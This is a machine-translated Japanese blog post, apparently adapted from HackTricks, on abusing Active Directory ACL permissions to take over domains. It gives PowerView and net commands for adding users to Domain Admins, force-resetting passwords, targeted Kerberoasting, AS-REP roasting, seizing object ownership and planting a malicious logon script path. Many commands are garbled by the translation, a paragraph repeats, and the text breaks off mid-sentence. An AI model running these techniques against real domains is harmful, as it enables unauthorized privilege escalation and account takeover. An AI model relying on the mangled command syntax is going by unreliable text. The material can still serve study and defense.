Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863535071

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Active Directory ACLS \ ACES許可の使用

3https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACLとACEは、アクセス制御に関連する概念であり、オペレーティングシステムとネットワーク環境で一般的に使用されています。これらの詳細な説明は次のとおりです。

DACL(裁量的アクセス制御リスト):DACLは、特定のオブジェクト(ファイル、フォルダー、レジストリキーなど)にアクセスできる人を決定するために使用されるアクセス制御リストです。 DACLは、アクセス制御エントリ(ACE)のリストです。 ACE(アクセス制御エントリ):ACEはDACLの基本ユニットであり、オブジェクトへのアクセスを許可または拒否するために使用されます。各ACEは、セキュリティプリンシパル(ユーザー、グループ、コンピューターなど)と、セキュリティプリンシパルが持っている権限を定義します。 DACLでは、各ACEには次の情報が含まれています。

セキュリティプリンシパル(SID):アクセスが許可または拒否されているユーザー、グループ、またはコンピューターを識別する一意の識別子。アクセス許可:特定の操作または許可(読み取り、書き込み、実行など)を示します。アクセスマスク:実際に許可または拒否されている権限を指定します。補助アクセスマスク:場合によっては、他の条件または制限を指定するために使用されます。オブジェクトにアクセスすると、システムはDACLのACEに基づいて検証します。ユーザーIDとACEが要求された許可を付与するACEがある場合、アクセスが許可されます。一致するエースがない場合、またはユーザーのアイデンティティに一致するエースがあるが、エースが要求された許可を拒否した場合、アクセスは拒否されます。

ドメイン管理者のエースは次のとおりです

3jt5ucpwhi0800.png

その中で、私たちが心配している権限は次のとおりです

Genericall-オブジェクトの完全な権利(ユーザーをグループに追加するか、ユーザーのパスワードをリセット)GenericWrite-オブジェクトの属性を更新します。 (セルフメンバーシップ) - GroupGenericallに自分自身を追加する機能- オブジェクトに完全な権限を持っています(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど)。 genericwrite-オブジェクトのプロパティ(ログインスクリプトなど)を更新します。 WriteOwner-オブジェクトの所有者を変更して、攻撃者が制御するユーザーになり、オブジェクトを引き継ぎます。 writedAcl-オブジェクトのエースを変更し、攻撃者にオブジェクトのすべての制御を許可します。 AllextendedRights-グループにユーザーを追加したり、パスワードをリセットする機能。 ForCechangePassWord-ユーザーのパスワードを変更する機能。自己(自己科学) - グループに自分自身を追加する能力。セルフメンバーシップ - この許可とは、アカウントがグループに追加できる許可を指します(特定のグループの高度なアクセス許可にACEを追加する必要があります。つまり、グループオブジェクト用です)、つまり、オブジェクトは特定のグループの自己メンバーシップアイデンティティです。

genericall

ユーザーアカウントへの一般的な権限

PowerViewツールを使用して、ユーザーの一般的な許可を表示します。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

//ユーザーman1の広告オブジェクトのアクセス制御リスト(ACL)を取得し、「genericall」許可でアイテムをフィルタリングして返します

get -objectacl -samaccountname man1 -solveguids | ? {$ _。activedirectoryrights -eq 'genericall'}

Spotlessユーザーには、委任する一般的な許可があることがわかります。したがって、Spotlessユーザーのアクセス許可が取得されている場合、Delegateユーザーを引き継ぐことができます。

s23oldcwvcm801.png

**パスワードの変更:**パスワードを直接変更して、デリゲートユーザーを変更します。ネットユーザーusernamepassword /domain

** KerberoAsting Attack:** DelegateユーザーにSPNを設定し、SpotlessユーザーのTGTを介してすべてのサービスSTSを要求し、デリゲートユーザーのハッシュ暗号化されたSTを取得してクラックします。 #SPNを設定します

set -domainobject -credential $ creds -identity username -set @{servicePrincipalName='fake/Nothing'}

#ハッシュを取得します。\ rubeus.exe kerberost /user:username /nowrap

#SPNをきれいにします

set -domainobject -credential $ creds -identity username -clear serviceprincipalname -verbose

https://github.com/shutdownrepo/targetedkerberoast

python3 Targetedkerberost.py -domain.local -u username -p password -v

** asReproast攻撃:**認証前を無効にすることでユーザーを控えめにすることができ、その後アスレプロスト攻撃を実行できます。 set -domainobject -identity username -xor @{useraccountcontrol=4194304}}

ユーザーグループへの一般的な権限

//ドメイン管理者グループのdistinguedname値を取得する

get-netgroup「ドメイン管理者」

hzs2p51eses802.png

//ドメイン管理グループのACLを取得します

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=vvvv1、dc=com'}

wcstoxfmdan803.png

Spotlessユーザーには、ドメイン管理者グループに一般的な許可があり、攻撃できることがわかりました。

自分自身(ユーザーの染みのない)または他のユーザーをドメイン管理グループに追加します。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

Active DirectoryまたはPowerSploitモジュールを攻撃に使用することもできます。

#Active Directoryモジュール付き

Add -AdgroupMember -Identity 'Domain Admins' -Members Skitless

#POWERSPLOITで

add -netgroupuser -username spotless -groupname 'domain管理者' -domain 'offence.local'

機械またはサービスアカウントへの一般的な権限

マシンアカウントまたはサービスアカウントに一般的な許可または汎用の権限がある場合は、リソースベースの制約委任攻撃の使用を検討できます。詳細については、《内网横向移动-基于资源的约束委派》を参照してください。サービスアカウントについては、上記のユーザーアカウントの攻撃方法を検討することもできます。または、シャドウクレデンシャルを使用して攻撃します。 Shadow資格情報3https://book.hacktricks.xyz/window-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapps-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://Shenaniganslabs.io/2019/01/28/wagging-the-dog.html

writeproperty

ユーザーグループへのwriteproperty許可

制御されたユーザーは、ドメイン管理者グループに執筆許可を持っています。

jwuwxwzr5ik804.png

このユーザーをドメイン管理グループに追加して、許可を増やすことができます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

self(selfmembership)

self(selfmembership)ユーザーグループへの権限

制御されたユーザーは、ドメイン管理者グループに自己(自己記録)許可を持っています。

yoxwfirubzc805.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

add -netgroupuser -Username user -GroupName 'Domain Admins' -Domain 'vvvv1.com' '

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

writeproperty(selfmembership)

writeproperty(自己メンバーシップ)ユーザーグループへの許可

制御されたユーザーは、ドメイン管理者グループにwriteproperty(自己科学者)許可を持っています。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

lf5clhyqr4s806.png

この許可は、ユーザーをグループ許可に追加し、ユーザーをドメイン管理者グループに追加してアクセス許可を増やすこともできます。

ネットグループ「ドメイン管理者」のきれいな /追加/ドメイン

「writeproperty(自己メンバーシップ)」と「自己(自己メンバーシップ)」はどちらも自己メンバーシップに関連する属性ですが、意味が異なります。

'writeproperty(selfmembership)' :このプロパティは、オブジェクトが独自のプロパティを書き込む(変更)できることを示しています。一般的に、オブジェクトは他のオブジェクトのプロパティのみを変更できますが、独自のプロパティを直接変更することはできません。しかし、「WriteProperty(自己メンバーシップ)」プロパティが設定されると、オブジェクトは独自のプロパティを変更できます。 'self(selfmembership)' :このプロパティは、オブジェクト自体がそれがあるグループまたはコレクションのメンバーであることを示しています。「writeproperty(selfmembership)」プロパティとは異なります。 「自己(自己メンバーシップ)」プロパティは、オブジェクト自体がそのグループまたはコレクションのメンバーであることを示し、「writeproperty(selfmembership)」プロパティは、オブジェクトが独自のプロパティを変更する許可を持っていることを示します。概要:それは、オブジェクトタイプがすべてではなく、自己科学者である場合、クエリしているユーザーオブジェクトがこのユーザーグループに属していることを意味します。 「writeproperty(selfmembership)」属性は、オブジェクトをグループに追加できるように、オブジェクトに独自の属性を変更する許可を与えます。 「自己(自己メンバーシップ)」属性は、オブジェクト自体がそれが配置されているグループまたはコレクションのメンバーであり、オブジェクトをグループに追加することもできることを示します。

forcechangepassword

forcechangepasswordユーザーアカウントへの権限

制御されたアカウントが、ターゲットアカウントのACLに「ユーザーフォースチェンジパスワード」オブジェクトタイプであり、「拡張」許可を持つ場合、ユーザーの現在のパスワードを知らずにユーザーのパスワードをリセットできます。

PowerShell -Execバイパス

Import-Module。\ PowerView.ps1

get -objectacl -samaccountName Delegate -ResolveGuids | ? {$ _。識別reference -eq 'obsent \ spotless'}

phes33xwmxj807.png

ツールPowerViewを使用して、パスワードを変更します。

set -domainuserpassword-アイデンティティデリゲート-verbose

1drdg3mv3hi808.png

または、次のステートメントを使用します

$ c=get-credential

set -domainuserpassword -identity Delegate -AccountPassword $ c.Password -verbose

または単一行の文に要約されています

set -domainuserpassword -identity Delegate -AccountPassWord(convertto secureString '123456' -Asplaintext -force)-verbose

axawsi5kna5809.png

書き込み所有者

ユーザーグループへの書き込み所有者

攻撃が実行される前に、ドメイン管理者の所有者はドメイン管理者でした。

olmycw3q1or811.png

特定のグループのACEを列挙した後、コントロールの下にあるユーザーが「書き込み所有者」の許可を持っており、その許可が「ObjectType:all」に適用されることがわかった場合、グループの所有者を変更できます。

get -objectacl -ResolveGuids | ? {$ _。objectdn -eq 'cn=ドメイン管理者、cn=users、dc=obsent、dc=local' - and $ _。itference -eq 'obsent \ spotless'}

x2ng5xmi3sf813.png

「ドメイン管理者」オブジェクトの所有者をユーザーに変更することができます。ユーザーは「sketless」です。 「 - アイデンティティ」で指定されたSIDは、「ドメイン管理者」グループのSIDであることに注意する必要があります。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -Owneridentity「Spotless」-verbose

//SIDの名前Instad(HTB:リール)も使用できます

set -domainObjectOwner -Identity 'Domain Admins' -OwnerIdentity「Spotless」

genericwrite

genericwriteもアクセスマスクで識別されます。この許可は、ターゲットオブジェクトのプロパティ値を更新できます。 PowerViewのSet-DomainObjectメソッドを使用して、ターゲットプロパティの値を設定できます。

genericwriteユーザーアカウントへの許可

get -objectacl -ResolveGuids -SamacCountName Delegate | ? {$ _。識別reference -eq 'obsent \ spotless'}

制御されたユーザーSpotlessは、別のユーザー委任者に「WriteProperty」許可を持っています。この許可は、「スクリプトパス」オブジェクトタイプに適用されます。これにより、攻撃者はDelegateユーザーのログインスクリプトパスを上書きすることができます。つまり、デリゲートユーザーが次にログインすると、システムが悪意のあるスクリプトを実行します。

52jxiwltlwx815.png

set -adobject -samaccountname delegate -propertyname scriptpath -propertyvalue '\\ 10.0.0.5 \ lettherlegitscript.ps1'

DelegateユーザーのログインスクリプトフィールドがADで更新されていることがわかります。

ykplxbbaeng817.png

ユーザーグループへのgenericwriteアクセス許可

を使用すると、グループのメンバーとして新しいユーザー(自分など)を追加できます。上記の《GenericAll-对用户组的GenericAll权限》操作に似ています。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

#クレジットを作成します

$ pwd=convertto -securestring 'justaweirdpwd!$' -asplaintext -force

$ creds=new-object System.management.automation.pscredential( 'domain \ username'、$ pwd)

#ユーザーをグループに追加します

Add -DomaIngroupMember -Credential $ creds -Identity 'Group name' -members 'username' -verbose

#ユーザーはそうでした